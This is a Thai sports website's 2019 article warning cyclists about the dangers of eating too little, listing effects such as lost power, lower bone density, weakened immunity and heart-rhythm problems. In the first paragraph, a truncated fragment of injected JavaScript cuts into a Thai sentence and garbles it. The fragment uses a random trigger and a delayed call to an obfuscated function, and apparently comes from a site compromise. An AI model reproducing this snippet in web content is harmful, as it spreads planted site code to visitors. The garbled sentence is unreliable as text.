• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

Dangers of under fueling: อันตรายต้องรู้สำหรับนักปั่น เมื่อเติมพลัง (กิน) น้อยเกินไป

kan by kan
11 May 2019
in Cycling Tips, News
0
Dangers of under fueling: อันตรายต้องรู้สำหรับนักปั่น เมื่อเติมพลัง (กิน) น้อยเกินไป
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เป็นที่ทราบกันดีสำหรับนักปั่นว่า น้ำหนักและส่วนประกอบร่างกาย (weight andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and body composition) เป็นตัวแปรสำคัญในการพัฒนา Performance รูปร่างนักปั่นที่ลีน (leaner) น้ำหนักตัวเบา ดูเหมือนจะช่วยให้ลดมวลที่แบกไป ทำให้เบาลงและไม่ต้องออกแรงมากขึ้น แต่ความจริงแล้ว การที่มีรูปร่างลีนและน้ำหนักน้อยนั้น มันจะไปลดพลังปั่น (power output) ลงด้วย

Dangers of under fueling: อันตรายต้องรู้สำหรับนักปั่น เมื่อเติมพลัง (กิน) น้อยเกินไป

ใจความสำคัญจึงควรเป็นการทำอย่างไร จึงจะเพิ่มพลังงานปั่นออกมามากขึ้น ไปได้เร็วและมีแรงบิดแต่ขณะเดียวกันก็ ต้องควบคุมน้ำหนักให้อยู่ในระดับต่ำสุด (ไม่ใช้ลดน้ำหนักจนผอมแห้งแรงน้อยนะ) และไม่มีการเพิ่มน้ำหนักขึ้น ดังนั้น สารอาหารที่รับเข้าไปจึงกลายของสำคัญ เป็นแหล่งพลังงานในการป้อนเชื้อเพลิงเพื่อการเผาผลาญ

ร่างกายต้องมีแหล่งพลังงานที่เพียงพอเพื่อการเผาผลาญ ให้ขาเราสามารถปั่นออกมาวัดได้กลายเป็นวัตต์ (Watt) และการที่เราสามารถลดน้ำหนักลงได้นั้นคือ การรับแหล่งพลังงานน้อยลงและใช้ออกไปมากขึ้น แต่เมื่อนักปั่นกลับฝึกเข้มข้นขึ้น ปริมาณพลังงานในร่างกายก็ไม่ค่อยมี ถูกใช้ออกไปเยอะ กินน้อยลง ร่างกายก็ไม่รู้จะหาพลังงานที่ไหนมาทดแทนและเพื่อการซ้อมแซมด้วย นี้จะส่งผลให้ร่างกายทรุดโทรมลง สามารถบาดเจ็บได้ง่ายและ performance ลดลง แย่สุดจะส่งผลกระทบต่อร่างกายระยะยาว  

เมื่อร่างกายขาดสมดุลพลังงาน อยู่ในระดับต่ำและถูกใช้งานยาวนานเข้า ร่างกายจะแสดงผลต่อไปนี้…

  • น้ำหนักคงที่ ไม่ลดลง นอกจากจะกินให้นอยลงกว่านี้อีก และระยะเมตาบอลิซึ่มทำงานต่ำ
  • พลังงานที่รีดออกมาลดลง
  • เหนื่อยง่ายลง
  • ร่างกายขาดสารอาหาร
  • มวล (ความหนาแน่น) กระดูกลดลง
  • การฟื้นตัวทำได้ช้าลง
  • ระบบท่อทางเดินหายใจติดเชื้อได้ง่าย
  • ฮอร์โมนแปรปรวน
  • อารมณ์ไม่คงที่ มีขึ้นๆ ลงๆ
  • ระบบภูมิคุ้มกันทำงานแย่ลง
  • ระบบการเต้นของหัวใจผิดปกติ

สำหรับนักปั่นที่มีรูปร่างสมส่วนอยู่แล้ว การลดน้ำหนักลงได้ อาจจะจำเป็น เป็นข้อได้เปรียบในการแข่งขันและช่วยให้สุขภาพดีขึ้น แต่การพยายามลดน้ำหนักลงควรทำอย่างเป็นขั้นเป็นตอน มีแบบแผน อย่าหักดิบเลยเด็ดขาด ทั้งนี้ก็เพื่อรักษาสุขภาพให้แข็งแรงและปลอดจากอาการบาดเจ็บ จำไว้ว่าสุขภาพและความปลอดภัยสำคัญกว่าการแข่งขัน

อ้างอิง www.active.com    

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.